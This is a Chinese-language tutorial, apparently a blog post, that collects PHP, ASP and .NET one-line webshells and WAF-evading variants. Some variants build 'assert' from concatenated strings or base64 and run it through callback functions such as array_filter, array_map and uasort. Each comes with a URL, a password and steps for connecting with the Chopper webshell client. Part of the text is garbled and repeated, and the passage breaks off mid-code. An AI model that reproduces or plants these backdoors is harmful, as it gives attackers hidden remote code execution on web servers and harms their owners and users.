目录
利用php回调函数等技巧绕过WAF的方法(姑且简称“回调后门”吧)
1. 利用 array_filter+base64_decode
5.利用array_walk_recursive+preg_replace
8.利用register_shutdown_function
经典一句话
PHP: <?php @eval($_POST['pass']);?>
ASP: <%eval request("pass")%>
.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
我们写一句话最终还是要拼接成经典的一句话的,当然,实现方式不止eval,还可以是assert,而且很多时候用菜刀连接的时候使用的是assert,具体原因见 从底层分析eval和assert的区别
利用简单的拼接字符串
1.
<?php
$POST['POST']='assert';
$array[]=$POST;
$array[0]['POST']($_POST['joker']);
?>
用法: http://www.xxx.com/1.php
菜刀连接用法: http://www.xxx.com/1.php
密码:joker
详解: assert,是php代码执行函数,与eval()有同样的功能,应为$array[],POST[]都是数组,所以array[]=array[]=POST,就是把POST数组的值赋给POST数组的值赋给array数组,这样的话$array[0]['POST']的输出就是assert,所以组成了一句话木马
assert($_POST['joker']),直接用菜刀链接即可
2.
<?php
error_reporting(0);
$g = array('','s');
$gg = a.$g[1].ser.chr('116');
@$gg($_POST[joker]);
?>
用法: http://www.xxx.com/2.php
菜刀连接用法: http://www.xxx.com/2.php
密码:joker
详解:$g是个数组,g[1]=′s′,chr(′116′)=′t′,(https://blog.csdn.net/yabingshitech/article/details/19833217ASCll码对应表),这样的g[1]=′s′,chr(′116′)=′t′,(https://blog.csdn.net/yabingshitech/article/details/19833217ASCll码对应表),这样的gg=assert,@gg(gg(_POST[joker])不就是assert($_POST[joker]),是我们常见的一句话木马,直接菜刀链接即可
利用php回调函数等技巧绕过WAF的方法(姑且简称“回调后门”吧)
1. 利用 array_filter+base64_decode
<?php $e = $_REQUEST['e'];
$arr = array($_POST['settoken'],);
array_filter($arr, base64_decode($e));
?>
用法:
http://www.xxx.com/settoken.php?e=YXNzZXJ0 (这里的“YXNzZXJ0 ”是assert用base64加密后的,因为源码用到了base64_decode)
浏览器提交POST:settoken=phpinfo();
菜刀连接用法:http://www.xxx.com/settoken.php?e=YXNzZXJ0
密码:settoken
补充:
array_filter()回调函数,原型为:
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。这样就构成了assert($_POST['POST'])这个经典一句话
2.利用array_map+base64_decode
<?php $e = $_REQUEST['e'];
$arr = array($_POST['settoken'],);
array_map(base64_decode($e), $arr);
?>
类似上一个array_filter,都是php回调函数的利用
用法:同上一个
3.利用uasort+base64_decode
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['settoken']);
uasort($arr, base64_decode($e));
?>
<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['settoken'] => 2);
uksort($arr, $e);
?>
用法类似
再给出这两个函数,面向对象的方法:
// method 0
$arr = new ArrayObject(array('test', $_REQUEST['pass&#